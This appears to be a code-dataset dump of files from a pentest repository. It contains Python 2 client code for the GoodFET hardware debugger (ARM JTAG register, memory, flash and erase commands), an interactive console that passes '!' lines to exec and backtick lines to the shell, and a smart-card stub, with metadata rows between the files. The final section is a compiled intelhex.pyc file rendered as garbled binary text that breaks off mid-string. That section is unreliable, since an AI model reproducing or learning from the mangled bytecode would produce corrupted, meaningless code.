self.ARMpokedatabyte(i,0xde) if(self.ARMpeekdatabyte(i)!=0xde): print "Error in DATA at 0x%04x" % i #print "Status: %s." % self.ARMstatusstr() #Exit debugger self.stop() print "Done." def setup(self): """Move the FET into the JTAG ARM application.""" #print "Initializing ARM." self.writecmd(0x33,SETUP,0,self.data) def ARMget_dbgstate(self): """Read the config register of an ARM.""" retval = struct.unpack("<L", self.data[:4])[0] return retval def ARMget_dbgctrl(self): """Read the config register of an ARM.""" self.writecmd(0x33,GET_DEBUG_CTRL,0,self.data) retval = struct.unpack("B", self.data)[0] return retval def ARMset_dbgctrl(self,config): """Write the config register of an ARM.""" self.writecmd(0x33,SET_DEBUG_CTRL,1,[config&7]) def ARMlockchip(self): """Set the flash lock bit in info mem.""" self.writecmd(0x33, LOCKCHIP, 0, []) def ARMidentstr(self): ident=self.ARMident() ver = ident >> 28 partno = (ident >> 12) & 0x10 mfgid = ident & 0xfff return "mfg: %x\npartno: %x\nver: %x\n(%x)" % (ver, partno, mfgid, ident); def ARMident(self): """Get an ARM's ID.""" self.writecmd(0x33,GET_CHIP_ID,0,[]) retval = struct.unpack("<L", "".join(self.data[0:4]))[0] return retval def ARMgetPC(self): """Get an ARM's PC.""" self.writecmd(0x33,GET_PC,0,[]) retval = struct.unpack("<L", "".join(self.data[0:4]))[0] return retval def ARMget_register(self, reg): """Get an ARM's Register""" self.writecmd(0x33,GET_REGISTER,1,[reg&0xff]) retval = struct.unpack("<L", "".join(self.data[0:4]))[0] return retval def ARMset_register(self, reg, val): """Get an ARM's Register""" self.writecmd(0x33,SET_REGISTER,8,[reg,0,0,0,val&0xff, (val>>8)&0xff, (val>>16)&0xff, val>>24]) #self.writecmd(0x33,SET_REGISTER,8,[reg,0,0,0, (val>>16)&0xff, val>>24, val&0xff, (val>>8)&0xff]) retval = struct.unpack("<L", "".join(self.data[0:4]))[0] return retval def ARMget_registers(self): """Get ARM Registers""" self.writecmd(0x33,GET_REGISTERS,0, []) retval = [] for x in range(0,len(self.data), 4): retval.append(struct.unpack("<L", self.data[x:x+4])[0]) return retval def ARMset_registers(self, regs): """Set ARM Registers""" regarry = [] for reg in regs: regarry.extend([reg&0xff, (reg>>8)&0xff, (reg>>16)&0xff, reg>>24]) self.writecmd(0x33,SET_REGISTERS,16*4,regarry) retval = struct.unpack("<L", "".join(self.data[0:4]))[0] return retval def ARMcmd(self,phrase): self.writecmd(0x33,READ,len(phrase),phrase) val=ord(self.data[0]) print "Got %02x" % val return val def ARMdebuginstr(self,instr): if type (instr) == int: instr = struct.pack("<L", instr) self.writecmd(0x33,DEBUG_INSTR,len(instr),instr) return (self.data[0]) def ARMpeekcodebyte(self,adr): """Read the contents of code memory at an address.""" self.data=[adr&0xff, (adr&0xff00)>>8] self.writecmd(0x33,PEEK,2,self.data) retval = struct.unpack("<L", "".join(self.data[0:4]))[0] return retval def ARMpeekdatabyte(self,adr): """Read the contents of data memory at an address.""" self.data=[adr&0xff, (adr&0xff00)>>8] self.writecmd(0x33, PEEK, 2, self.data) retval = struct.unpack("<L", "".join(self.data[0:4]))[0] return retval def ARMpokedatabyte(self,adr,val): """Write a byte to data memory.""" self.data=[adr&0xff, (adr&0xff00)>>8, val] self.writecmd(0x33, POKE, 3, self.data) retval = struct.unpack("<L", "".join(self.data[0:4]))[0] return retval def ARMchiperase(self): """Erase all of the target's memory.""" self.writecmd(0x33,CHIP_ERASE,0,[]) def ARMstatus(self): """Check the status.""" self.writecmd(0x33,GET_DEBUG_STATE,0,[]) return ord(self.data[0]) ARMstatusbits={ 0x10 : "TBIT", 0x08 : "cgenL", 0x04 : "Interrupts Enabled (or not?)", 0x02 : "DBGRQ", 0x01 : "DGBACK" } ARMctrlbits={ 0x04 : "disable interrupts", 0x02 : "force dbgrq", 0x01 : "force dbgack" } def ARMstatusstr(self): """Check the status as a string.""" status=self.ARMstatus() str="" i=1 while i<0x100: if(status&i): str="%s %s" %(self.ARMstatusbits[i],str) i*=2 return str def start(self): """Start debugging.""" self.writecmd(0x33,START,0,self.data) #ident=self.ARMidentstr() #print "Target identifies as %s." % ident #print "Status: %s." % self.ARMstatusstr() #self.ARMreleasecpu() #self.ARMhaltcpu() #print "Status: %s." % self.ARMstatusstr() def stop(self): """Stop debugging.""" self.writecmd(0x33,STOP,0,self.data) def ARMstep_instr(self): """Step one instruction.""" self.writecmd(0x33,STEP_INSTR,0,self.data) def ARMflashpage(self,adr): """Flash 2kB a page of flash from 0xF000 in XDATA""" data=[adr&0xFF, (adr>>8)&0xFF, (adr>>16)&0xFF, (adr>>24)&0xFF] print "Flashing buffer to 0x%06x" % adr self.writecmd(0x33,MASS_FLASH_PAGE,4,data) def writecmd(self, app, verb, count=0, data=[]): """Write a command and some data to the GoodFET.""" self.serialport.write(chr(app)) self.serialport.write(chr(verb)) count = len(data) #if data!=None: # count=len(data); #Initial count ignored. #print "TX %02x %02x %04x" % (app,verb,count) #little endian 16-bit length self.serialport.write(chr(count&0xFF)) self.serialport.write(chr(count>>8)) #print "count=%02x, len(data)=%04x" % (count,len(data)) if count!=0: if(isinstance(data,list)): for i in range(0,count): #print "Converting %02x at %i" % (data[i],i) data[i]=chr(data[i]) #print type(data) outstr=''.join(data) self.serialport.write(outstr) if not self.besilent: self.readcmd()
10,058
Python
.py
272
28.676471
105
0.563559
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,837
GoodFETConsole.py
pwnieexpress_raspberry_pwn/src/pentest/goodfet/GoodFETConsole.py
#!/usr/bin/env python # GoodFET Client Library # # (C) 2009 Travis Goodspeed <travis at radiantmachines.com> # # This code is being rewritten and refactored. You've been warned! import sys, os; import binascii; from GoodFET import GoodFET; from intelhex import IntelHex; #grep CMD GoodFETConsole.py | grep def | sed s/\(sel.\*// | sed 's/def CMD//' commands=""" info lock erase test status halt resume peek flash dump where chip """ class GoodFETConsole(): """An interactive goodfet driver.""" def __init__(self, client): self.client=client; client.serInit(); client.setup(); client.start(); client.loadsymbols(); def prompt(self): sys.stdout.write("gf% "); sys.stdout.flush(); def run(self): self.prompt(); #for cmd in sys.stdin: while 1: cmd=sys.stdin.readline(); if not cmd: break; if(cmd.strip()!=""): self.handle(cmd); self.prompt(); def handle(self, str): """Handle a command string. First word is command.""" #Lines beginning with # are comments. if(str[0]=="#"): return; #Lines beginning with ! are Python. if(str[0]=="!"): try: exec(str.lstrip('!')); except: print sys.exc_info()[0]; return; #Backtick (`) indicates shell commands. if(str[0]=='`'): os.system(str.lstrip('`')); return; #By this point, we're looking at a GoodFET command. args=str.split(); if len(args)==0: return; try: eval("self.CMD%s(args)" % args[0]) except: print sys.exc_info()[0]; #print "Unknown command '%s'." % args[0]; def CMDinfo(self,args): print self.client.infostring() def CMDlock(self,args): print "Locking."; self.client.lock(); def CMDerase(self,args): print "Erasing."; self.client.erase(); def CMDtest(self,args): self.client.test(); return; def CMDstatus(self,args): print self.client.status(); return; def CMDhalt(self,args): print self.client.halt(); def CMDresume(self,args): print self.client.resume(); def CMDpeek(self,args): adr=args[1]; memory="vn"; if(len(args)>2): memory=args[2]; adr= self.client.name2adr(adr); #print "%i" % adr; print "0x%08x:= 0x%04x" % ( adr, self.client.peekword(adr, memory)); def CMDflash(self,args): file=args[1]; self.client.flash(self.expandfilename(file)); def CMDdump(self,args): file=args[1]; self.client.dump(self.expandfilename(file)); def CMDwhere(self,args): pc=self.client.getpc(); print "PC=0x%04X" % pc; def CMDchip(self,args): cmd="self.client.CMD%s()" % args[1]; print cmd; try: eval(cmd); except: print sys.exc_info()[0]; print "Chip-specific command failed."; def expandfilename(self,filename): if(filename[0]=='~'): return "%s%s" % (os.environ.get("HOME"),filename.lstrip('~')); return filename;
3,406
Python
.py
118
20.584746
77
0.543452
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,838
GoodFETSmartCard.py
pwnieexpress_raspberry_pwn/src/pentest/goodfet/GoodFETSmartCard.py
#!/usr/bin/env python # GoodFET SPI and SPIFlash Client Library # # (C) 2009 Travis Goodspeed <travis at radiantmachines.com> # # This code is being rewritten and refactored. You've been warned! import sys, time, string, cStringIO, struct, glob, serial, os; from GoodFET import GoodFET; class GoodFETSmartCard(GoodFET): SMARTCARDAPP=0x73; APP=SMARTCARDAPP; def setup(self): """Move the FET into the SmartCard application.""" self.writecmd(self.APP,0x10,0,self.data); def start(self): """Start the connection, reat ATR.""" self.writecmd(self.APP,0x20,0,None);
617
Python
.py
17
31.941176
67
0.712838
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,839
intelhex.pyc
pwnieexpress_raspberry_pwn/src/pentest/goodfet/intelhex.pyc
—Ú h߲Kc @sydZdZddklZddklZlZddklZddkZde fdÑÉYZ d e fd ÑÉYZ e e e d d ÑZ d dÑZde fdÑÉYZdefdÑÉYZe dÑZdefdÑÉYZdefdÑÉYZdefdÑÉYZdefdÑÉYZdefdÑÉYZdefdÑÉYZd efd!ÑÉYZd"efd#ÑÉYZd$efd%ÑÉYZd&efd'ÑÉYZd(efd)ÑÉYZd*efd+ÑÉYZd,efd-ÑÉYZd.efd/ÑÉYZ d0efd1ÑÉYZ!d2efd3ÑÉYZ"d4efd5ÑÉYZ#d6efd7ÑÉYZ$d8e$fd9ÑÉYZ%dS(:sqIntel HEX file format reader and converter. @author Alexander Belchenko (bialix AT ukr net) @version 1.1 tjavadociˇˇˇˇ(tarray(thexlifyt unhexlify(t bisect_rightNtIntelHexcBs1eZdZddÑZddÑZdÑZddÑZdÑZeZ dÑZ dddÑZ dddd ÑZ ddd d ÑZ ddd d ÑZd ÑZdÑZdÑZdÑZdÑZdÑZdÑZdÑZedÑZdÑZdÑZdÑZdÑZdÑZddÑZddÑZRS(s Intel HEX file reader. cCsÏd|_d|_h|_d|_|dj o∑t|tÉpt|ddÉo|i|ÉqËt|t Éo|i |ÉqËt|t ÉoB|i|_|io|ii É|_n|ii É|_qËt dÉÇndS(sH Constructor. If source specified, object will be initialized with the contents of source. Otherwise the object will be empty. @param source source for initialization (file name of HEX file, file object, addr dict or other IntelHex object) iˇitreadssource: bad initializer typeN(tpaddingtNonet start_addrt_buft_offsett isinstancet basestringtgetattrtloadhextdicttfromdictRtcopyt ValueError(tselftsource((s/pentest/goodfet/intelhex.pyt__init__5s     #  ic Cs|idÉ}|pdS|ddjorytdt|dÉÉ}Wn"tj otd|ÉÇnXt|É}|djotd|ÉÇq≠ntd|ÉÇ|d}|d|jotd|ÉÇn|dd |d }|d }d|jo djnptd|ÉÇnt|É}|d M}|djot d|ÉÇn|djo||i 7}xÅt d d |ÉD]V} |i i |dÉdj otd|d|ÉÇn|| |i |<|d7}qêWn|djo*|djotd|ÉÇntÇn‹|d joN|d jp |djotd|ÉÇn|d d |dd|_ nÅ|d joN|d jp |djotd|ÉÇn|d d |dd|_ n&|d joÖ|d jp |djotd|ÉÇn|iotd|ÉÇnh|d d |dd6|dd |dd6|_nî|djoÜ|d jp |djotd|ÉÇn|iotd|ÉÇnh|d d|dd|dd |dd6|_ndS(s»Decode one record of HEX file. @param s line with HEX record. @param line line number (for error messages). @raise EndOfFile if EOF record encountered. s Nit:tBitlineiiiiiˇitaddressiitCSiitIPitEIP(trstripRRt TypeErrortHexRecordErrortlentRecordLengthErrortRecordTypeErrortsumtRecordChecksumErrorR txrangeR tgetRtAddressOverlapErrortEOFRecordErrort _EndOfFilet!ExtendedSegmentAddressRecordErrort ExtendedLinearAddressRecordErrortStartSegmentAddressRecordErrorR t DuplicateStartAddressRecordErrortStartLinearAddressRecordError( RtsRtbintlengtht record_lengthtaddrt record_typetcrcti((s/pentest/goodfet/intelhex.pyt_decode_recordTst             ! !  !  #c Cs≥t|ddÉdjot|dÉ}|i}nd}d|_d}zO|i}y,x%|D]}|d7}|||Éq`WWntj onXWd|o |ÉnXdS(s˘Load hex file into internal buffer. This is not necessary if object was initialized with source set. This will overwrite addresses if object was already initialized. @param fobj file name or file-like object RtriiN(RRtfiletcloseR R8R*(RtfobjtfcloseRtdecodeR0((s/pentest/goodfet/intelhex.pyRÆs"     cCsút|ddÉ}|djo%t|dÉ}|i}|i}nd}z8x1td|ÉÉD]}||i|<|d7}q`WWd|o |ÉnXdS(s%Load bin file into internal buffer. Not needed if source set in constructor. This will overwrite addresses without warning if object was already initialized. @param fobj file name or file-like object @param offset starting address offset RtrbRiN(RRR:RR;RR (RR<toffsettfreadtfR=tb((s/pentest/goodfet/intelhex.pytloadbin s    cCsP|djo|i|Én/|djo|i|Éntd|ÉÇdS(s‘Load data file into internal buffer. Preferred wrapper over loadbin or loadhex. @param fobj file name or file-like object @param format file format ("hex" or "bin") thexR1s6format should be either "hex" or "bin"; got %r insteadN(RRDR(RR<tformat((s/pentest/goodfet/intelhex.pytloadfile‚s   cCs±|iÉ}|idÉ}|idÉo |d=nxJ|iÉD]<}t|Éttfjp |djotdÉÇqCqCW|ii |É|dj o ||_ ndS(s"Load data from dictionary. Dictionary should contain int keys representing addresses. Values should be the data to be stored in those addresses in unsigned char form (i.e. not strings). The dictionary may contain the key, ``start_addr`` to indicate the starting address of the data as described in README. The contents of the dict will be merged with this object and will overwrite any conflicts. This function is not necessary if the object was initialized with source specified. R is+Source dictionary should have only int keysN( RR'thas_keytkeysttypetinttlongRR tupdateRR (RtdiktR0R tk((s/pentest/goodfet/intelhex.pyRÙs   & cCst|djot|iiÉÉ}n|djot|iiÉÉ}n||jo||}}n||fS(sAReturn default values for start and end if they are None N(RtminR RItmax(Rtstarttend((s/pentest/goodfet/intelhex.pyt_get_start_end s   cCsë|djo |i}ntdÉ}|ihjo|S|i||É\}}x7t||dÉD]"}|i|ii||ÉÉqgW|S(sí Convert this object to binary form as array. If start and end unspecified, they will be inferred from the data. @param start start address of output bytes. @param end end address of output bytes. @param pad fill empty spaces with this value (if None used self.padding). @return array of unsigned char data. RiN(RRRR RTR&tappendR'(RRRRStpadR1R7((s/pentest/goodfet/intelhex.pyt tobinarrays    iˇcCs|i|||ÉiÉS(sB Convert to binary form and return as a string. @param start start address of output bytes. @param end end address of output bytes. @param pad fill empty spaces with this value (if None used self.padding). @return string of binary data. (RWttostring(RRRRSRV((s/pentest/goodfet/intelhex.pyttobinstr-scCsmt|ddÉdjot|dÉ}t}nt}|i|i|||ÉÉ|o|iÉndS(sTConvert to binary and write to file. @param fobj file name or file object for writing output bytes. @param start start address of output bytes. @param end end address of output bytes. @param pad fill empty spaces with this value (if None used self.padding). twritetwbN(RRR:tTruetFalseRZRYR;(RR<RRRSRVtclose_fd((s/pentest/goodfet/intelhex.pyt tobinfile7s  cCs5h}|i|iÉ|io|i|d<n|S(swConvert to python dictionary. @return dict suitable for initializing another IntelHex object. R (RMR R (RR9((s/pentest/goodfet/intelhex.pyttodictKs  cCs|iiÉ}|iÉ|S(s~Returns all used addresses in sorted order. @return list of occupied data addresses in sorted order. (R RItsort(Rtaa((s/pentest/goodfet/intelhex.pyt addressesVs cCs/|iiÉ}|gjodSt|ÉSdS(sgGet minimal address of HEX content. @return minimal address or None if no data N(R RIRRP(RRb((s/pentest/goodfet/intelhex.pytminaddr^s cCs/|iiÉ}|gjodSt|ÉSdS(sgGet maximal address of HEX content. @return maximal address or None if no data N(R RIRRQ(RRb((s/pentest/goodfet/intelhex.pytmaxaddrhs c Cs,t|É}|ttfjo4|djotdÉÇn|ii||iÉS|tjo∏|iiÉ}t É}|oî|i É|i p|d}|i p |dd}|i pd}xKt|||ÉD]3}|ii|É} | dj o| ||<qÿqÿWn|Std|ÉÇdS(s… Get requested byte from address. @param addr address of byte. @return byte if address exists in HEX file, or self.padding if no data found. isAddress should be >= 0.iˇˇˇˇis Address has unsupported type: %sN(RJRKRLRR R'RtsliceRIRRaRRtstoptstepR&R( RR4ttRctihRRRgRhR7tx((s/pentest/goodfet/intelhex.pyt __getitem__rs(      c Cs¯t|É}|ttfjo.|djotdÉÇn||i|<n®|tjoä|iiÉ}t|tt fÉpt dÉÇn|i }|i }|i pd}d ||fjo?t|||É}t|Ét|Éjot dÉÇqhnf||fd jotdÉÇnC|d jo|t|É}n"|d jo|t|É}n|djotdÉÇn|djotdÉÇnd} xIt|||ÉD]!} || |i| <| d7} qªWntd |ÉÇd S( sSet byte at address.isAddress should be >= 0.s)Slice operation expects sequence of bytesis5Length of bytes sequence does not match address rangesUnsupported address ranges start address cannot be negativesstop address cannot be negatives Address has unsupported type: %sN(NN(RJRKRLRR RfRIR tlistttupleRRRRgRhRtrangeR!R&( RR4tbyteRiRcRRRgRhtratjR7((s/pentest/goodfet/intelhex.pyt __setitem__çs@         c Cst|É}|ttfjo+|djotdÉÇn|i|=nÃ|tjoÆ|iiÉ}|oî|iÉ|ip|d}|i p |dd}|i pd}xKt |||ÉD]3}|ii |É}|dj o|i|=q∆q∆Wqntd|ÉÇdS(sDelete byte at address.isAddress should be >= 0.iˇˇˇˇis Address has unsupported type: %sN(RJRKRLRR RfRIRaRRRgRhR&R'R( RR4RiRcRRRgRhR7Rk((s/pentest/goodfet/intelhex.pyt __delitem__±s$     cCst|iiÉÉS(s'Return count of bytes with real values.(R!R RI(R((s/pentest/goodfet/intelhex.pyt__len__∆sc Csçt|dd É}|o|}d }n"t|dÉ}|i}|i}didÑtdÉDÉÉ}|ioı|oÓ|iiÉ}|i Ét dd!É}|d d gjo¬d |d <d |d <d |d<d|d<|id } | d?d@|d <| d@|d<|id } | d?d@|d<| d@|d<t |É d@|d<|dt |i ÉÉi|ÉdÉqh|dgjoπd |d <d |d <d |d<d|d<|id} | d?d@|d <| d?d@|d<| d?d@|d<| d@|d<t |É d@|d<|dt |i ÉÉi|ÉdÉqh|o |Éntd|iÉÇn|iiÉ} | i Ét| É} | oŸ| d }| d}|djo t}nt}d }|}d }xì||joÅ|o≤t dd"É}d|d <d |d <d |d<d |d<t|dÉ}t|dÉ}|d |d <|d |d<t |É d@|d<|dt |i ÉÉi|ÉdÉnx¡toπ|d@}tdd|||É}||}|o4t| ||t||d | ÉÉ}||}nd }t ddd|É}t|dÉ}|d |d <|d |d<d |d<y4x-t|ÉD]}|i|||d |<quWWn'tj o|}|d| }nX||d <t |É d@|d |<|dt |i ÉÉi|ÉdÉ||7}|| jo| |}n |d }Pt|dÉ}||joPq£q£Wq⁄Wn|dÉ|o |Énd S(#s∞Write data to file f in HEX format. @param f filename or file-like object for writing @param write_start_addr enable or disable writing start address record to file (enabled by default). If there is no start address in obj, nothing will be written regardless of this setting. RZtwtcss%x|]}t|ÉiÉVqWdS(N(tchrtupper(t.0R7((s/pentest/goodfet/intelhex.pys <genexpr>‡s iRti RRiiiiiiiˇiiiRs RiiR iˇˇˇˇiˇˇiis :00000001FF Nt t(RRR:RZR;tjoinRoR RIRaRR$RRXt translatetInvalidStartAddressValueErrorR R!R\R]RKtdivmodRPRtKeyError(RRBtwrite_start_addrtfwriteR<R=ttableRIR1tcstipteipRctaddr_lenRdRetneed_offset_recordthigh_ofstcur_addrtcur_ixtbytestlow_addrt chain_lent stop_addrtixR7t high_addr((s/pentest/goodfet/intelhex.pytwrite_hex_file sŒ           +     +            +     ! '     cCsP|djo|i|Én/|djo|i|Éntd|ÉÇdS(s¡Write data to hex or bin file. Preferred method over tobin or tohex. @param fobj file name or file-like object @param format file format ("hex" or "bin") RER1s6format should be either "hex" or "bin"; got %r insteadN(RîR_R(RR<RF((s/pentest/goodfet/intelhex.pyttofileZs   cCsxtdd|É}y0x)t|ÉD]}|i||||<q#WWn(tj otd|d|ÉÇnX|iÉS(s≥Get string of bytes from given address. If any entries are blank from addr through addr+length, a NotEnoughDataError exception will be raised. Padding is not used.RR{RR2(RR&R RÇtNotEnoughDataErrorRX(RR4R2taR7((s/pentest/goodfet/intelhex.pytgetshs cCsEtd|É}x/tt|ÉÉD]}|||i||<q"WdS(s[Put string of bytes at given address. Will overwrite any previous entries. RN(RR&R!R (RR4R0RóR7((s/pentest/goodfet/intelhex.pytputstscCsyd}y:x3to+|i||djoPn|d7}q WWn&tj otdd|ÉÇnX|i||ÉS(sçGet zero-terminated string from given address. Will raise NotEnoughDataError exception if a hole is encountered before a 0. iitmsgsBBad access at 0x%X: not enough data to read zero-terminated string(R\R RÇRñRò(RR4R7((s/pentest/goodfet/intelhex.pytgetsz|s cCs+|i||Éd|i|t|É<dS(s@Put string in object at addr and append terminating zero at end.iN(RôR R!(RR4R0((s/pentest/goodfet/intelhex.pytputszãscCsú|djoddk}|i}n|idj o…|iidÉ}|iidÉ}|iidÉ}|dj o/|djo"|djo|id|Éqˇ|djo5|dj o(|dj o|id||fÉqˇ|idtÉn|iiÉ}|oÉ|iÉ|d }|d}t |d Éd } t |d d Éd } t t t | ÉÉd É} d | } t d É} xt| | d ÉD]Ì}|i| |É|idÉg}x¢| D]ö}|ii||É}|dj oW|id|Éd|jo djno|it|ÉÉqn|idÉq‘|idÉ|idÉq‘W|iddi|ÉdÉq£WndS(s¸Dump object content to specified file or to stdout if None. Format is a hexdump with some header information at the beginning, addresses on the left, and data on right. @param tofile file-like object to dump to iˇˇˇˇNRRRs EIP = 0x%08X sCS = 0x%04X, IP = 0x%04X sstart_addr = %r iiiis%%0%dXt s %02Xi iÄt.s --s |Rws| (RtsyststdoutR R'RZR RIRaRKRQR!tstrRoR&RURxR~(RRïRüRÜRáRàRcRdRet startaddrtendaddrt maxdigitsttemplatrange16R7R0RrRk((s/pentest/goodfet/intelhex.pytdumpêsL   ''        terrorcCsZt|tÉptdÉÇn||jotdÉÇn|d jotdÉÇn|i}|i}xb|D]Z}||jo9|djotd|ÉÇqø|djoqsqøn||||<qsW|i|ijor|id jo|i|_qV|id joqV|djotdÉÇqV|djo|i|_qVnd S( sÛMerge content of other IntelHex object to this object. @param other other IntelHex object. @param overlap action on overlap of data or starting addr: - error: raising OverlapError; - ignore: ignore other data and keep this data in overlapping region; - replace: replace this data with other data in overlapping region. @raise TypeError if other is not instance of IntelHex @raise ValueError if other is the same object as this @raise ValueError if overlap argument has incorrect value @raise AddressOverlapError on overlapped data sother should be IntelHex objectsCan't merge itselfR®tignoretreplaces@overlap argument should be either 'error', 'ignore' or 'replace'sData overlapped at address 0x%Xs Starting addresses are differentN(serrorsignoresreplace(R RRRR R(R R(tthistothertoverlaptthis_buft other_bufR7((s/pentest/goodfet/intelhex.pytmerge¬s6           N( t__name__t __module__t__doc__RRR8RRDRGtfromfileRRTRWRYR_R`RcRdReRlRsRtRuR\RîRïRòRôRõRúRßR∞(((s/pentest/goodfet/intelhex.pyR2s8  Z         $   ê     2t IntelHex16bitcBs;eZdZdÑZdÑZdÑZdÑZdÑZRS(sAccess to data as 16-bit words.cCsit|tÉo(|i|_|i|_|i|_nti||É|idjo d|_ndS(s/Construct class from HEX file or from instance of ordinary IntelHex class. If IntelHex object is passed as source, the original IntelHex object should not be used again because this class will alter it. This class leaves padding alone unless it was precisely 0xFF. In that instance it is sign extended to 0xFFFF. @param source file name of HEX file or file object or instance of ordinary IntelHex class. Will also accept dictionary from todict method. iˇiˇˇN(R RRR R R(RR((s/pentest/goodfet/intelhex.pyRˆs   cCsö|d}|d}|ii|dÉ}|ii|dÉ}|djo|djo ||d>BS|djo|djo|iStd|ÉÇdS(sVGet 16-bit word from address. Raise error if only one byte from the pair is set. We assume a Little Endian interpretation of the hex file. @param addr16 address of word (addr8 = 2 * addr16). @return word if bytes exists in HEX file, or self.padding if no data found. iiiRN(R R'RRtBadAccess16bit(Rtaddr16taddr1taddr2tbyte1tbyte2((s/pentest/goodfet/intelhex.pyRls   cCsC|d}t|dÉ}|d|i|<|d|i|d<dS(sHSets the address at addr16 to word assuming Little Endian mode. iiiiN(RÅR (RR∑twordt addr_byteRé((s/pentest/goodfet/intelhex.pyRs$s cCs3|iiÉ}|gjodSt|ÉdSdS(syGet minimal address of HEX content in 16-bit mode. @return minimal address used in this object iiN(R RIRP(RRb((s/pentest/goodfet/intelhex.pyRd,s cCs3|iiÉ}|gjodSt|ÉdSdS(syGet maximal address of HEX content in 16-bit mode. @return maximal address used in this object iiN(R RIRQ(RRb((s/pentest/goodfet/intelhex.pyRe7s (R±R≤R≥RRlRsRdRe(((s/pentest/goodfet/intelhex.pyRµÛs     iˇc Csyt|É}Wn%tj o}dt|ÉGHdSX|djov|djoi|djo/|djo|iÉ}n||d}qª|d|jo|d|}qªd}ny|i||||ÉWn+tj o}d|t|ÉfGHdSXdS(súHex-to-Bin convertor engine. @return 0 if all OK @param fin input hex file (filename or file-like object) @param fout output bin file (filename or file-like object) @param start start of address range (optional) @param end end of address range (optional) @param size size of resulting file (in bytes) (optional) @param pad padding byte (optional) sERROR: bad HEX file: %siis&ERROR: Could not write to file: %s: %sN(RtHexReaderErrorR°RRdR_tIOError(tfintfoutRRRStsizeRVthte((s/pentest/goodfet/intelhex.pythex2binEs&    ic CsétÉ}y|i||ÉWn%tj o}dGt|ÉGHdSXy|i|ddÉWn+tj o}d|t|ÉfGHdSXdS(sSimple bin-to-hex convertor. @return 0 if all OK @param fin input bin file (filename or file-like object) @param fout output hex file (filename or file-like object) @param offset starting address offset for loading bin sERROR: unable to load bin file:iRFREs&ERROR: Could not write to file: %s: %si(RRDRøR°Rï(R¿R¡R@R√Rƒ((s/pentest/goodfet/intelhex.pytbin2hexls tRecordcBs°eZdZdÑZeeÉZdÑZeeÉZdÑZeeÉZdÑZeeÉZdÑZeeÉZdÑZ ee ÉZ dÑZ ee ÉZ RS(s+Helper methods to build valid ihex records.cCs[t|ÉdjptÇt|É d@}td||gÉ}dt|iÉÉiÉS(s>Takes a list of bytes, computes the checksum, and outputs the entire record as a string. bytes should be the hex record without the colon or final checksum. @param bytes list of byte values so far to pack into record. @return String representation of one HEX record iiˇRR(R!tAssertionErrorR$RRRXRy(RéR0R1((s/pentest/goodfet/intelhex.pyt _from_bytesàscCsÖd|jo djnptÇdt|Éjo djnptÇt|É|d?d@|d@dg|}ti|ÉS(s[Return Data record. This constructs the full record, including the length information, the record type (0x00), the checksum, and the offset. @param offset load offset of first byte. @param bytes list of byte values to pack into record. @return String representation of one HEX record iiiiiˇ(R»R!R«R…(R@RéRC((s/pentest/goodfet/intelhex.pytdataós %+(cCsdS(svReturn End of File record as a string. @return String representation of Intel Hex EOF record s :00000001FF((((s/pentest/goodfet/intelhex.pyteofßscCs1dddd|d?d@|d@g}ti|ÉS(sÆReturn Extended Segment Address Record. @param usba Upper Segment Base Address. @return String representation of Intel Hex USBA record. iiiiˇ(R«R…(tusbaRC((s/pentest/goodfet/intelhex.pytextended_segment_addressÆs$c CsCdddd|d?d@|d@|d?d@|d@g}ti|ÉS(s·Return Start Segment Address Record. @param cs 16-bit value for CS register. @param ip 16-bit value for IP register. @return String representation of Intel Hex SSA record. iiiiiˇ(R«R…(RÜRáRC((s/pentest/goodfet/intelhex.pytstart_segment_address∏scCs1dddd|d?d@|d@g}ti|ÉS(s™Return Extended Linear Address Record. @param ulba Upper Linear Base Address. @return String representation of Intel Hex ELA record. iiiiiˇ(R«R…(tulbaRC((s/pentest/goodfet/intelhex.pytextended_linear_addressƒs$c CsGdddd|d?d@|d?d@|d?d@|d@g}ti|ÉS(s∏Return Start Linear Address Record. @param eip 32-bit linear address for the EIP register. @return String representation of Intel Hex SLA record. iiiiiˇii(R«R…(RàRC((s/pentest/goodfet/intelhex.pytstart_linear_addressŒs"( R±R≤R≥R…t staticmethodR RÀRÕRŒR–R—(((s/pentest/goodfet/intelhex.pyR«Ös           t_BadFileNotationcBseZdZRS(s9Special error class to use with _get_file_and_addr_range.(R±R≤R≥(((s/pentest/goodfet/intelhex.pyR”⁄sc Csb|d jotidj}nd}|oä|dd!djor|diÉdig}ttdÉtdÉdÉD]}|t|Éqx~Éjo|d }|d}q∑n|idÉ}t |É}|djo|d}d }d } nY|d jo t ÇnB|d}d Ñ} | |dpd É}| |dpd É} |||| fS( s¨Special method for hexmerge.py script to split file notation into 3 parts: (filename, start, end) @raise _BadFileNotation when string cannot be safely split. tntRwiiRitAtZicSsB|dj o1yt|dÉSWq>tj o tÇq>Xn|S(Ni(RRKRR”(tascii((s/pentest/goodfet/intelhex.pytascii_hex_to_intıs  N( RtostnameRyR~RotordRxtsplitR!R”( R0t_support_drive_lettertdrivet_[1]R7tpartstntfnametfstarttfendRÿ((s/pentest/goodfet/intelhex.pyt_get_file_and_addr_rangefis( n         t IntelHexErrorcBs)eZdZdZddÑZdÑZRS(s(Base Exception class for IntelHex modulesIntelHex base errorcKs:||_x*|iÉD]\}}t|||ÉqWdS(s9Initialize the Exception with the given message. N(Rötitemstsetattr(RRötkwtkeytvalue((s/pentest/goodfet/intelhex.pyRs  cCs`|io|iSy|i|iSWn5tttfj o }d|iit|ÉfSXdS(s%Return the message in this Exception.sUnprintable exception %s: %sN( Röt_fmtt__dict__t NameErrorRRÇt __class__R±R°(RRƒ((s/pentest/goodfet/intelhex.pyt__str__$s N(R±R≤R≥RÏRRR(((s/pentest/goodfet/intelhex.pyRÊs R*cBseZdZdZRS(sUsed for internal needs only.s.EOF record reached -- signal to stop read file(R±R≤R≥RÏ(((s/pentest/goodfet/intelhex.pyR*.sRæcBseZdZRS(sHex reader base error(R±R≤RÏ(((s/pentest/goodfet/intelhex.pyRæ2sR(cBseZdZRS(sCHex file has data overlap at address 0x%(address)X on line %(line)d(R±R≤RÏ(((s/pentest/goodfet/intelhex.pyR(5sR cBseZdZRS(s1Hex file contains invalid record at line %(line)d(R±R≤RÏ(((s/pentest/goodfet/intelhex.pyR ;sR"cBseZdZRS(s*Record at line %(line)d has invalid length(R±R≤RÏ(((s/pentest/goodfet/intelhex.pyR"?sR#cBseZdZRS(s/Record at line 